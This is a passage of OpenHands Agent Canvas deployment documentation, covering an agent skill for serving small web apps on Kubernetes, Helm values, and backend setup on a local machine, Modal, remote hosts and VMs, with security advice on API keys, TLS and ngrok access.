cluster - -Use this skill to create and manage the small web apps you build, serving each -one at `https://.` from the `` namespace of the -cluster Agent Canvas runs in. - -## Platform conventions - -Every app follows the same pattern: - -- **Namespace:** ``. The agent runs under a ServiceAccount that has - admin in this namespace (granted via the Helm chart's `rbac.namespaces`), so - `kubectl apply` works directly with no extra credentials. -- **Content:** static files (HTML/JS/CSS) served by an `nginx:*-alpine` pod. - The files live in a **ConfigMap** (`-web`) mounted at - `/usr/share/nginx/html`. Apps that need a backend add their own container. -- **Objects per app:** `Deployment` + `Service` (ClusterIP, port 80) + - `Ingress`. Apps that need scheduled work add a `CronJob`. -- **Host:** `.`. -- **TLS:** if cert-manager is installed, add the - `cert-manager.io/cluster-issuer: ` annotation and a `tls` block with - `secretName: -tls`; the cert is issued automatically. -- **Auth:** put shared apps behind your ingress's authentication (oauth2-proxy, - a forward-auth middleware, Cloudflare Access, etc.) so they aren't exposed - unauthenticated. Reference your cluster's auth middleware/annotation here. -- **Resources:** keep them tiny (requests `10m`/`16Mi`, limits `100m`/`64Mi`). - -### Ingress template - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: - namespace: - labels: - app: - annotations: - cert-manager.io/cluster-issuer: - # Add your cluster's auth middleware/annotation here so the app is - # not exposed unauthenticated. -spec: - ingressClassName: # e.g. nginx or traefik - rules: - - host: . - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: - port: - number: 80 - tls: - - hosts: - - . - secretName: -tls -``` - -### Deployment + Service template - -```yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: - namespace: - labels: - app: -spec: - replicas: 1 - selector: - matchLabels: - app: - template: - metadata: - labels: - app: - spec: - containers: - - name: web - image: nginx:1.27-alpine - ports: - - containerPort: 80 - resources: - requests: - cpu: 10m - memory: 16Mi - limits: - cpu: 100m - memory: 64Mi - volumeMounts: - - name: web - mountPath: /usr/share/nginx/html - volumes: - - name: web - configMap: - name: -web ---- -apiVersion: v1 -kind: Service -metadata: - name: - namespace: - labels: - app: -spec: - selector: - app: - ports: - - port: 80 - targetPort: 80 -``` - -## Secrets (never commit them) - -If an app needs credentials at runtime, store them in a Kubernetes `Secret` -created out of band — never in a ConfigMap, the git repo, or the manifest, and -never print their values. Create the Secret from environment variables so the -plaintext never appears in a command line or file: - -```bash -kubectl create secret generic - -n \ - --from-literal=="$SOME_ENV_VAR" \ - --dry-run=client -o yaml | kubectl apply -f - -``` - -Consume it in the Deployment via `env` + `secretKeyRef`. Document the one-off -`kubectl create secret ...` command in the app's `README.md` — keep it out of -`deploy.sh` and the committed manifest. - -## Source layout & GitHub - -- Keep each app's source under `~/workspace/`. -- Give each app its own GitHub repo (e.g. `/app-`). - **This requires the GitHub MCP server to be enabled** so the agent can create - the repo and push commits. Create it if it doesn't exist, then push. -- Standard repo layout: - - `README.md` — what the app is, its URL, how to deploy, any one-off secrets. - - `k8s/.yaml` — all Kubernetes objects (Deployment+Service+Ingress). - - `web/` — static assets served via the ConfigMap. - - `deploy.sh` — regenerates the ConfigMap from `web/`, applies `k8s/`, and - rolls the Deployment. - -### Typical `deploy.sh` - -```bash -#!/usr/bin/env bash -set -euo pipefail -NS= -DIR="$(cd "$(dirname "$0")" && pwd)" - -kubectl create configmap -web --namespace "$NS" \ - --from-file="$DIR/web/" \ - --dry-run=client -o yaml | kubectl apply -f - - -kubectl apply -f "$DIR/k8s/.yaml" -kubectl rollout restart deployment/ -n "$NS" -kubectl rollout status deployment/ -n "$NS" -``` - -## Creating a new app - -1. `mkdir -p ~/workspace//{k8s,web}` and add `web/index.html`, - `k8s/.yaml` (from the templates above), `deploy.sh`, and a - `README.md`. -2. If GitHub MCP is enabled, create/verify `/app-`, - commit, and push. -3. Deploy: `./deploy.sh`. -4. If cert-manager is used, wait for the cert: - `kubectl get certificate -tls -n ` should become - `READY=True`. Confirm the Ingress has an address. -5. Report the live URL back to the user. - -## Updating an app - -Edit files under `~/workspace/`, commit + push (via GitHub MCP), then -re-run `./deploy.sh` (which restarts the Deployment so nginx reloads the -ConfigMap). - -## Deleting an app - -1. `kubectl delete -f ~/workspace//k8s/.yaml` and delete the - `-web` ConfigMap. Deleting the Ingress lets cert-manager clean up the - TLS secret; delete any credential secrets explicitly. -2. Optionally archive/delete the GitHub repo and remove - `~/workspace/`. - -## Verifying access - -```bash -kubectl get deploy,svc,ingress,certificate -n -l app= -``` -```` - -## Common Configurations - -### Minimal (defaults + ingress) - -```yaml -# values.yaml -ingress: - enabled: true - className: nginx - hosts: - - host: agent-canvas.example.com - paths: - - path: / - pathType: Prefix - tls: - - hosts: [agent-canvas.example.com] - secretName: agent-canvas-tls -``` - -### With LLM Credentials from a Secret - -Rather than typing your LLM key into the UI on every reinstall, pass it in through the chart. Create the secret separately, then reference it via `config.extraEnv`: - -```bash -kubectl -n agent-canvas create secret generic llm \ - --from-literal=api-key=sk-... -``` - -```yaml -# values.yaml -config: - extraEnv: - - name: LLM_MODEL - value: "openhands/claude-sonnet-4-5-20250929" - - name: LLM_API_KEY - valueFrom: - secretKeyRef: - name: llm - key: api-key -``` - -### Agent That Manages a Sandbox Namespace - -```yaml -# values.yaml -rbac: - enabled: true - namespaces: - - agent-sandbox -``` - -Create the sandbox namespace before installing (`kubectl create namespace agent-sandbox`). Then the pod can `kubectl apply` / `kubectl delete` anything inside `agent-sandbox` but nothing else. - -### External Database - -The automation subsystem uses a SQLite database on the PVC by default. For higher-volume deployments, point it at Postgres: - -```yaml -# values.yaml -config: - automationDbUrl: "postgresql+asyncpg://user:pass@postgres.databases.svc.cluster.local/agent_canvas" -``` - -Store the actual credentials in a Kubernetes Secret and reference them via `config.extraEnv` rather than putting the password in `values.yaml`. - -## Install and Upgrade - -```bash -# First install -helm install agent-canvas ./helm/agent-canvas \ - --namespace agent-canvas --create-namespace \ - -f values.yaml - -# Later upgrades -helm upgrade agent-canvas ./helm/agent-canvas \ - -n agent-canvas -f values.yaml - -# Check rollout -kubectl -n agent-canvas rollout status statefulset/agent-canvas -kubectl -n agent-canvas get pvc,pod,svc,ingress -``` - -To pin a specific image (e.g. a PR preview or a build newer than the chart's `appVersion`): - -```bash -helm upgrade agent-canvas ./helm/agent-canvas \ - -n agent-canvas -f values.yaml \ - --set image.tag=sha- -``` - -## Access It - -The chart's default `Service` is `ClusterIP`. Three common ways to reach the UI: - -1. **Ingress** — configure the `ingress:` block as shown above. This is the production path. -2. **Port-forward** — for quick access from your laptop without touching DNS or ingress: - - ```bash - kubectl -n agent-canvas port-forward svc/agent-canvas 8000:8000 - ``` - - Then open `http://localhost:8000/canvas`. -3. **LoadBalancer** — set `service.type: LoadBalancer` if your cloud provisions cloud load balancers for you. Cheaper than ingress for one-off installs, but skips TLS and auth. - - - The agent server accepts any request with the right `LOCAL_BACKEND_API_KEY`, so exposing it via a bare LoadBalancer means anyone on the internet who can guess the key can drive the agent. Prefer the Ingress path with an authenticated proxy (oauth2-proxy, Cloudflare Access, tailscale-serve, ngrok OAuth, etc.) in front of it. - - -## Uninstall - -```bash -helm uninstall agent-canvas -n agent-canvas -``` - -The PVC created by the `StatefulSet` is **retained** on uninstall so a reinstall picks up where you left off. Delete it explicitly if you want a fully clean slate: - -```bash -kubectl -n agent-canvas delete pvc -l app.kubernetes.io/instance=agent-canvas -``` - -## Troubleshooting - -### `FailedAttachVolume: pd-balanced disk type cannot be used by c4-standard-8 machine type` - -The default StorageClass on your cluster is provisioning a disk type your nodes can't attach. On GKE `c4` / `n4` node pools, use `hyperdisk-balanced`: - -```yaml -persistence: - storageClassName: hyperdisk-balanced -``` - -Because `volumeClaimTemplates` on an existing `StatefulSet` are immutable, changing the StorageClass requires deleting the STS and PVC first: - -```bash -kubectl -n agent-canvas delete statefulset agent-canvas -kubectl -n agent-canvas delete pvc -l app.kubernetes.io/instance=agent-canvas -helm upgrade agent-canvas ./helm/agent-canvas -n agent-canvas -f values.yaml -``` - -### `ErrImagePull` on `ghcr.io/openhands/agent-canvas:` - -Verify the tag exists on GHCR — the chart's `appVersion` pins the default. To pull an image built from a specific commit, use `--set image.tag=sha-`. See the [Agent Canvas package](https://github.com/orgs/OpenHands/packages/container/package/agent-canvas) for the tag list. - -### WebSocket disconnects every minute - -Your ingress is closing idle streams. Bump the timeout annotations on the `Ingress`: - -```yaml -ingress: - annotations: - # nginx - nginx.ingress.kubernetes.io/proxy-read-timeout: "3600" - nginx.ingress.kubernetes.io/proxy-send-timeout: "3600" - # Traefik - traefik.ingress.kubernetes.io/router.middlewares: "" # keep this in mind if you also add auth middlewares -``` - -### Pod stuck in `Pending` — `no persistent volumes available` - -Either no `StorageClass` exists on the cluster, or the one you set doesn't provision on demand. Run `kubectl get storageclass` and set `persistence.storageClassName` to one that shows `VOLUMEBINDINGMODE=WaitForFirstConsumer` (Immediate is fine too). - -## Related Guides - -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) — single-container equivalent for laptops and single-host VMs. -- [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) — install directly on a Linux VM without Kubernetes. -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) — point a local Agent Canvas UI at a remote backend. - -### Local Backend -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/local.md - -Use `--backend-only` to start a local backend. Each backend runs behind an ingress proxy on its own port. - -## Start a Backend - -```bash -agent-canvas --backend-only -``` - -This starts the backend on `127.0.0.1:8000`. No frontend is served. - -## Running Multiple Backends - -You can run several backends at the same time on different ports — for example, one per project or toolchain: - -```bash -agent-canvas --backend-only --port 8001 -agent-canvas --backend-only --port 8002 -agent-canvas --backend-only --port 8003 -``` - -Each instance gets its own backend and ingress proxy. - -## Connect the Frontend - -Start the frontend separately: - -```bash -agent-canvas --frontend-only -``` - -Then add your backends through **Manage Backends**: - -1. Click the backend switcher → **Manage Backends** → **Add Backend**. -2. Fill in the **Host / Base URL** (e.g. `http://localhost:8001`) and **API Key**. -3. Repeat for each backend you started. - -Switch between them from the backend selector depending on what you're working on. - - - If you just want a quick single-machine setup, running `agent-canvas` without any flags starts the full stack (frontend + backend) on one port. The split approach above is useful when you want multiple backends or want to keep the frontend and backends on separate processes. - - -## Related Guides - -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) — backend-only or full Canvas on a remote machine -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) — run in a container - -### Modal Backend -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/modal.md - -Deploy [OpenHands](https://github.com/OpenHands/OpenHands) on [Modal](https://modal.com) as a remote backend for Agent Canvas. Canvas runs locally on your machine while the Agent Canvas Backend runs on Modal and executes code inside the container—the same execution model as the backend started by `npx @openhands/agent-canvas`. - - - The agent server runs with full access to the container's filesystem, environment, and network. Anyone with the API key can execute arbitrary code on your Modal container. Keep the API key secret and rotate it if it's ever exposed. - - -## When to Use It - -A Modal backend is a good fit when you want to: - -- Offload agent execution to the cloud without managing your own VM or Docker host -- Take advantage of Modal's per-second billing and free-tier credits -- Get a persistent, always-warm backend with minimal setup — or scale to zero when idle to reduce costs - -## Prerequisites - -- A [Modal account](https://modal.com/signup) (free tier includes \$30/month credit) -- Python 3.12+ -- Agent Canvas running locally — see [Setup](/openhands/usage/agent-canvas/setup) -- An LLM API key (OpenAI, Anthropic, etc.) - -## 1. Install the Modal CLI - -```bash -pip install modal -modal setup -``` - -`modal setup` opens a browser to authenticate. Your credentials are saved to `\~/.modal.toml`. - -## 2. Create a Modal Secret - -Generate an API key and encryption key, then store them as a Modal secret: - -```bash -export API_KEY=$(openssl rand -base64 32) - -modal secret create openhands-server-keys \ - OH_SESSION_API_KEYS_0="$API_KEY" \ - OH_SECRET_KEY="$(openssl rand -base64 32)" - -echo "Save this — you'll need it to connect Canvas:" -echo " API Key: $API_KEY" -``` - - - Copy the `API_KEY` value now. You'll paste it into Agent Canvas in step 4. The encryption key (`OH_SECRET_KEY`) stays on Modal — you don't need to save it separately. - - -This secret persists in your Modal account. You only need to create it once. - -## 3. Deploy - -Save the following as `deploy.py`: - -```python -""" -Deploy OpenHands Agent Server on Modal. - -Prerequisites: - - Modal account + CLI: pip install modal && modal setup - - Create a Modal secret named "openhands-server-keys" with: - modal secret create openhands-server-keys \ - OH_SESSION_API_KEYS_0="$(openssl rand -base64 32)" \ - OH_SECRET_KEY="$(openssl rand -base64 32)" - -Usage: - modal deploy deploy.py - - # Dry run (validate config without deploying): - modal run deploy.py -""" - -import os -import subprocess - -import modal - -# --- Configuration --- - -# Agent-server image tag — must match a published ghcr.io/openhands/agent-server tag. -# CI publishes the `binary` target with variant suffix: {version}-python. -# Includes Python, Node.js 22, tmux, git, uv, and the PyInstaller-built -# agent-server binary at /usr/local/bin/openhands-agent-server. -AGENT_SERVER_IMAGE_TAG = "1.24.0-python" - -AGENT_SERVER_PORT = 8000 -SCALEDOWN_WINDOW = 600 # seconds before an idle container is eligible for shutdown -CONTAINER_CPU = 2.0 -CONTAINER_MEMORY_MB = 4096 # 4 GB - -# Always-on mode (default): keeps one container warm at all times for zero -# cold-start latency. Costs ~$102/month (2 vCPU / 4 GB, 24/7). -# Set MODAL_ALWAYS_ON=0 to scale to zero when idle. You only pay while -# actively coding, but the first request after idle has a ~10-30s cold start. -ALWAYS_ON = os.environ.get("MODAL_ALWAYS_ON", "1").lower() in ("1", "true") -MIN_CONTAINERS = 1 if ALWAYS_ON else 0 - -# --- Modal App --- - -app = modal.App("openhands-agent-server") - -# Persistent volume for ~/.openhands (conversations, settings, secrets, DB). -# Survives container restarts and redeploys. -volume = modal.Volume.from_name("openhands-data", create_if_missing=True) -VOLUME_MOUNT = "/home/openhands/.openhands" - -# Secrets: OH_SESSION_API_KEYS_0 (auth) and OH_SECRET_KEY (encryption at rest). -# Create once with: modal secret create openhands-server-keys ... -secrets = modal.Secret.from_name("openhands-server-keys") - -# --- Image --- - -# canvas_ui_tool.py is required by the agent-server but ships with agent-canvas, -# not the standalone server image. Fetch it from GitHub during image build. -TOOLS_REMOTE_DIR = "/opt/canvas-tools" -CANVAS_UI_TOOL_URL = "https://raw.githubusercontent.com/OpenHands/OpenHands/main/tools/canvas_ui_tool.py" - -agent_server_image = ( - modal.Image.from_registry( - f"ghcr.io/openhands/agent-server:{AGENT_SERVER_IMAGE_TAG}", - add_python="3.13", - ) - .dockerfile_commands( - # Clear the image's ENTRYPOINT so Modal manages the process lifecycle. - ["ENTRYPOINT []"], - ) - .run_commands( - f"mkdir -p {TOOLS_REMOTE_DIR} && curl -fsSL -o {TOOLS_REMOTE_DIR}/canvas_ui_tool.py {CANVAS_UI_TOOL_URL}", - ) - .env({"OH_EXTRA_PYTHON_PATH": TOOLS_REMOTE_DIR}) -) - -# --- Agent Server --- - -@app.cls( - image=agent_server_image, - secrets=[secrets], - volumes={VOLUME_MOUNT: volume}, - cpu=CONTAINER_CPU, - memory=CONTAINER_MEMORY_MB, - scaledown_window=SCALEDOWN_WINDOW, - timeout=3600, - # The agent-server is stateful (SQLite DB, tmux sessions, in-memory - # conversation state) — multiple containers would diverge. - # min_containers is controlled by MODAL_ALWAYS_ON (default: 1, always warm). - min_containers=MIN_CONTAINERS, - max_containers=1, -) -@modal.concurrent(max_inputs=10) -class AgentServer: - @modal.web_server(port=AGENT_SERVER_PORT, startup_timeout=300) - def serve(self): - cmd = [ - "/usr/local/bin/openhands-agent-server", - "--host", "0.0.0.0", - "--port", str(AGENT_SERVER_PORT), - ] - print(f"Starting agent-server on port {AGENT_SERVER_PORT}...") - subprocess.Popen(cmd) - -# --- Dry-run entrypoint: modal run deploy.py --- - -@app.local_entrypoint() -def main(): - mode = "always-on" if ALWAYS_ON else "scale-to-zero" - print("OpenHands Agent Server — Modal deployment") - print(f" Image: ghcr.io/openhands/agent-server:{AGENT_SERVER_IMAGE_TAG}") - print(f" Volume: openhands-data → {VOLUME_MOUNT}") - print(f" Mode: {mode} (min_containers={MIN_CONTAINERS})") - print(f" Scaledown: {SCALEDOWN_WINDOW}s") - print() - print("To deploy:") - print(" modal deploy deploy.py") - if ALWAYS_ON: - print() - print(" # Or, to scale to zero when idle (saves cost, adds cold starts):") - print(" MODAL_ALWAYS_ON=0 modal deploy deploy.py") - print() - print("After deploying, add the backend in Agent Canvas:") - print(" 1. Open Agent Canvas") - print(" 2. Go to Manage backends → Add a backend") - print(" 3. Enter:") - print(" Name: Modal Agent Server") - print(" Host: https://openhands-agent-server--agentserver-serve.modal.run") - print(" API Key: ") -``` - -Then deploy: - -```bash -modal deploy deploy.py -``` - -Modal builds the container image on first deploy (takes a few minutes), then prints the serving URL: - -``` -https://openhands-agent-server--agentserver-serve.modal.run -``` - -The agent server runs on 2 vCPU / 4 GB RAM with a persistent volume for conversations and settings. By default, the container is always warm (`min_containers=1`) so there's no cold-start latency. To scale to zero when idle instead (lower cost, but \~10-30s cold start on first request): - -```bash -MODAL_ALWAYS_ON=0 modal deploy deploy.py -``` - -See [Cost](#cost) for a comparison of the two modes. - -## 4. Connect Agent Canvas - -1. Open Agent Canvas locally (`npx @openhands/agent-canvas`). -2. Click the backend switcher → **Manage Backends** → **Add Backend**. -3. Fill in: - - **Name** — e.g. `Modal` - - **Host / Base URL** — the URL from step 3 (e.g. `https://openhands-agent-server--agentserver-serve.modal.run`) - - **API Key** — the `API_KEY` value from step 2 -4. Save and select it as the active backend. - - - The URL **must** use `https://`, not `http://`. Modal redirects HTTP to HTTPS with a 308, which breaks CORS preflight requests. - - -## 5. Configure Your LLM - -The agent server doesn't come with LLM credentials — you provide them once through the Canvas UI: - -1. With the Modal backend selected, open **Settings**. -2. Choose a provider (e.g. OpenAI, Anthropic). -3. Enter your API key and select a model. -4. Save. - -Settings are stored server-side on the Modal volume (encrypted with `OH_SECRET_KEY`) and persist across redeploys. - -## Cost - -Modal charges per-second for CPU and memory. The `MODAL_ALWAYS_ON` setting controls whether the container stays warm between requests: - -| | Always-on (default) | Scale-to-zero (`MODAL_ALWAYS_ON=0`) | -|---|---|---| -| **Cold starts** | None | \~10-30s after idle period | -| **Idle behavior** | Container stays warm 24/7 | Scales down after 10 min idle | -| **Best for** | Daily driver, fast iteration | Occasional use, cost-sensitive | -| **Monthly cost** | \~\$102 (24/7) | Pay only for active hours | - -Hourly rate breakdown (2 vCPU / 4 GB): - -| Resource | Rate | -|----------|------| -| 2 vCPU (1 physical core) | \~\$0.096/hr | -| 4 GB RAM | \~\$0.046/hr | -| **Total** | **\~\$0.14/hr** | - -**Always-on** costs \~\$3.40/day (\~\$102/month). Modal's \$30/month free credit covers about 9 days. - -**Scale-to-zero** costs only for the hours the container is running. At 8 hours/day on workdays, that's roughly \~\$1.12/day (\~\$25/month). The first request after an idle period takes \~10-30s while the container cold-starts; after that, the `scaledown_window` (10 min) keeps it warm between interactions. - -To stop the deployment entirely and avoid all charges: `modal app stop openhands-agent-server`. Your data on the Modal volume persists. - - - If you're using scale-to-zero and find the container scaling down too quickly between interactions, increase `SCALEDOWN_WINDOW` in `deploy.py`. The default is 600 seconds (10 minutes); setting it to 1800 (30 minutes) keeps the container warm during longer breaks without paying for overnight idle time. - - -## Limitations - -- **No Docker-in-Docker.** Modal containers don't support nested Docker. The agent executes code directly on the container filesystem (same model as running `npx @openhands/agent-canvas` locally). Tools that require Docker won't work. -- **Single-user only.** Pinned to one container (`max_containers=1`) because the agent server uses SQLite and in-memory state that can't be shared across containers. -- **Public URL.** The `*.modal.run` endpoint is internet-reachable. All API endpoints require the API key, but the URL itself is public. - -## Security - -The agent server is protected by the API key you created in step 2. Every REST and WebSocket request is rejected without it. Modal provides TLS on all `*.modal.run` endpoints automatically. - -The `*.modal.run` URL is not indexed or easily guessable, but treat it as sensitive — it appears in terminal output, browser history, and Canvas localStorage. - -### Rotating the API Key - -If you suspect the API key has been leaked: - -```bash -export API_KEY=$(openssl rand -base64 32) -modal secret create openhands-server-keys --force \ - OH_SESSION_API_KEYS_0="$API_KEY" \ - OH_SECRET_KEY="$(openssl rand -base64 32)" -modal deploy deploy.py -echo "New API Key: $API_KEY" -``` - -Then update the API key in Agent Canvas — click the backend switcher → **Manage Backends** → edit the Modal backend → paste the new key. - -## Upgrading - -To update to a newer agent-server version, change `AGENT_SERVER_IMAGE_TAG` in `deploy.py` to the desired tag (e.g. `1.25.0-python`) and redeploy: - -```bash -modal deploy deploy.py -``` - -Modal rebuilds the container image with the new version. Your data on the Modal volume (conversations, settings, LLM credentials) is preserved. - -Available tags are listed at [`ghcr.io/openhands/agent-server`](https://github.com/OpenHands/OpenHands/pkgs/container/agent-server). Use the `-python` variant. - -## Troubleshooting - -Check the server logs: - -```bash -modal app logs openhands-agent-server -``` - -List running apps to confirm the deployment is active: - -```bash -modal app list -``` - -If the container is crashing or unresponsive, redeploy to force a fresh start: - -```bash -modal deploy deploy.py -``` - -Your data on the Modal volume persists across redeploys. - -## Tearing Down - -To stop the deployment and stop incurring costs: - -```bash -modal app stop openhands-agent-server -``` - -Your data on the Modal volume (`openhands-data`) is preserved. Redeploy later with `modal deploy deploy.py` and everything picks up where you left off. To permanently delete the volume: - -```bash -modal volume delete openhands-data -``` - -## Related Guides - -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) -- [VM / Self-Hosted Backend](/openhands/usage/agent-canvas/backend-setup/vm) -- [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) - -### Remote Backend -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/remote.md - -A remote backend is an Agent Server endpoint that runs somewhere other than the Agent Canvas client. It uses the same Agent Server API as a local backend. The backend can run on another machine, on a VM, or in a separate container on the same machine. - -Agent Canvas does not distinguish a remote backend by where it runs. It connects to the endpoint URL and displays the conversations, files, settings, and automations that backend provides. - -## What A Remote Backend Needs - -A remote backend must provide: - -- An accessible Agent Server URL. -- An API key. -- A workspace or sandbox where Agent Server can execute tools. - -To use scheduled or event-driven automations, the backend must also provide an Automation Server. - -## Connect To A Remote Backend - -1. Start or obtain the URL for the Agent Server backend. -2. In Agent Canvas, open the backend switcher and choose `Manage Backends`. -3. Select `Add Backend`. -4. Enter a display name, the **Host / Base URL**, and the API key when required. -5. Save the backend and select it. - -The selected backend becomes the execution environment for new conversations. Its workspace, settings, profiles, secrets, MCP servers, and automation state remain separate from other backends. - - - Anyone who can reach Agent Server with its API key can request agent execution in that backend's workspace. Use TLS, access controls, and a high-entropy API key before exposing a backend outside a trusted network. - - -## Deployment Examples - -| Location | Start here | -|----------|------------| -| Another local process or container | [Local Backend](/openhands/usage/agent-canvas/backend-setup/local) | -| A VM or dedicated machine | [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm) | -| Docker | [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) | -| Kubernetes | [Kubernetes (Helm)](/openhands/usage/agent-canvas/backend-setup/kubernetes) | -| Modal | [Modal Backend](/openhands/usage/agent-canvas/backend-setup/modal) | -| A managed OpenHands platform | [Cloud Backend](/openhands/usage/agent-canvas/backend-setup/cloud) | - -## Next Steps - -- [Connect And Manage Backends](/openhands/usage/agent-canvas/backends) -- [Agent Canvas Architecture](/openhands/usage/agent-canvas/architecture) -- [Agent Server Overview](/sdk/guides/agent-server/overview) - -### VM / Self-Hosted Installation -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/vm.md - -Run Agent Canvas on a VM or dedicated machine when you want an always-on backend, more compute, or a self-hosted Canvas that you can reach from other devices. - - - The agent server can read and write the host filesystem, execute shell commands, access the network, and store secrets. Treat the VM as trusted infrastructure. Use `--public`, a strong `LOCAL_BACKEND_API_KEY`, and a network access control layer before exposing it to the internet. - - -## Choose a Deployment Shape - -Agent Canvas supports two VM runtime modes and several ways to reach them: - -| Setup | Start Command | How You Use It | -|-------|---------------|----------------| -| **Backend only** | `agent-canvas --backend-only --public` | Run only the agent server on the VM. Start `agent-canvas --frontend-only` on your laptop and add the VM URL in **Manage Backends**. | -| **Backend only + ngrok** | `agent-canvas --backend-only --public` and `ngrok http 8000` | Use your ngrok domain as the backend URL. Do not add ngrok OAuth for this mode; rely on `LOCAL_BACKEND_API_KEY`. | -| **Full Canvas** | `agent-canvas --public` | Serve both the Agent Canvas UI and the backend from the VM. Open the VM, reverse proxy, or ngrok URL in a browser. | -| **Full Canvas + ngrok OAuth** | `agent-canvas --public` and `ngrok http 8000 --traffic-policy-file ~/policy.yml` | Protect the full Canvas URL with an ngrok login policy before users reach Agent Canvas. | - - - Use **backend only** when you want to keep the UI on your laptop and switch between backends. Use **full Canvas** when the VM should serve the browser UI too. - - -## 1. Provision and Secure the VM - -Use any always-on Linux or macOS host. Ubuntu 24.04 LTS with 2 vCPU and 4 GB RAM is enough for a single user. - -Before starting Agent Canvas, restrict inbound traffic: - -- **SSH (`22`)** — allow only your IP address or VPN CIDR. -- **Agent Canvas (`8000`)** — keep closed unless you are using an SSH tunnel. If you expose it through ngrok, nginx, or another proxy, expose only that proxy. -- **HTTP/HTTPS (`80`, `443`)** — open only if you configure a reverse proxy and TLS. - -## 2. Install Prerequisites - -Agent Canvas requires: - -- [Node.js](https://nodejs.org/en/download) 22.12 or later, including `npm`. -- [`uv`](https://docs.astral.sh/uv/getting-started/installation/) for the agent server runtime. -- `git` and `curl`. -- Optional: [`ngrok`](https://ngrok.com/download) for a public URL on a free ngrok domain or your own custom domain. -- Optional: `tmux` to keep Agent Canvas and ngrok running after disconnecting from SSH. - -### Ubuntu 22.04 / 24.04 - -Install Node.js 22.x, `uv`, and Agent Canvas: - -```bash -sudo apt-get update -sudo apt-get install -y ca-certificates curl gnupg git - -# Node.js 22.x from NodeSource. -curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash - -sudo apt-get install -y nodejs - -# uv for the agent server runtime. -curl -LsSf https://astral.sh/uv/install.sh | sh -source "$HOME/.local/bin/env" - -# Agent Canvas CLI. -sudo npm install -g @openhands/agent-canvas - -node --version -uv --version -agent-canvas --version -``` - - - If your `npm` global prefix is user-writable, omit `sudo` from `npm install -g`. For macOS or other Linux distributions, use the official Node.js, `uv`, and ngrok installation links above instead of the Ubuntu-specific commands. - - -Install optional runtime helpers if needed: - -```bash -sudo apt-get install -y tmux -``` - -Install ngrok only if you plan to expose the VM through ngrok: - -```bash -curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ - | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null - -echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ - | sudo tee /etc/apt/sources.list.d/ngrok.list - -sudo apt-get update -sudo apt-get install -y ngrok - -ngrok config add-authtoken -``` - -Get the authtoken from the [ngrok dashboard](https://dashboard.ngrok.com/get-started/your-authtoken). - -## 3. Set the Backend API Key - -Remote and shared deployments should always run in public mode. Public mode requires `LOCAL_BACKEND_API_KEY`. - -Create a local environment file on the VM: - -```bash -cat > ~/.agent-canvas.env <<'EOF_ENV' -export LOCAL_BACKEND_API_KEY="" -EOF_ENV -chmod 600 ~/.agent-canvas.env -source ~/.agent-canvas.env -``` - -Use a high-entropy secret. You will enter this key in Agent Canvas when connecting to the VM backend or opening the full Canvas UI. - -## 4. Start Agent Canvas - - - - Start only the backend on the VM: - - ```bash - source ~/.agent-canvas.env - agent-canvas --backend-only --public - ``` - - Then start the frontend on your laptop: - - ```bash - agent-canvas --frontend-only - ``` - - Add the VM backend in Agent Canvas: - - 1. Click the backend switcher, then select `Manage Backends`. - 2. Click `Add Backend`. - 3. Enter a name, such as `my-vm`. - 4. Enter the **Host / Base URL**: - - `http://localhost:8000` if you use an SSH tunnel. - - Your ngrok domain (for example `https://your-domain.ngrok-free.app`) if you use ngrok. - - Your reverse proxy URL if you use nginx or another proxy. - 5. Enter the `LOCAL_BACKEND_API_KEY` from the VM. - 6. Save and select the backend. - - - Start the full UI and backend on the VM: - - ```bash - source ~/.agent-canvas.env - agent-canvas --public - ``` - - Open the VM, reverse proxy, or ngrok URL in a browser. Agent Canvas prompts for the `LOCAL_BACKEND_API_KEY` before allowing backend access. - - - -### Keep It Running with tmux - -Use `tmux` when you want Agent Canvas to keep running after your SSH session disconnects. - - - - ```bash - tmux new-session -d -s canvas - tmux send-keys -t canvas 'source ~/.agent-canvas.env && agent-canvas --backend-only --public' Enter - tmux attach-session -t canvas - ``` - - - ```bash - tmux new-session -d -s canvas - tmux send-keys -t canvas 'source ~/.agent-canvas.env && agent-canvas --public' Enter - tmux attach-session -t canvas - ``` - - - -Detach from tmux with `Ctrl-b`, then `d`. Reattach later with `tmux attach-session -t canvas`. - -## 5. Choose an Access Method - -### Option A: SSH Tunnel - -Use an SSH tunnel when you only need personal access and do not want to expose a public URL. - -On your laptop: - -```bash -ssh -L 8000:127.0.0.1:8000 user@your-vm -``` - -Then use `http://localhost:8000` as the backend URL in **Manage Backends**. - -### Option B: ngrok Without OAuth - -Use ngrok without OAuth for personal access or a small, trusted backend. Keep `--public` enabled and use a strong `LOCAL_BACKEND_API_KEY`. - -Every ngrok account—including the free plan—comes with a free static domain that looks like `your-domain.ngrok-free.app`. It stays the same across restarts, so `ngrok http 8000` starts on it by default and you can save the URL once and keep reusing it. You can view your domain on the [**Domains**](https://dashboard.ngrok.com/domains) page of the ngrok dashboard. - -On the VM, in a second terminal or tmux pane: - -```bash -ngrok http 8000 -``` - -Use the forwarding URL: - -- Backend-only mode: enter it as the **Host / Base URL** in **Manage Backends**. -- Full Canvas mode: open it directly in your browser. - -#### Use Your Own Domain - -To run on a domain you choose instead of the default, pass it with `--url`: - -```bash 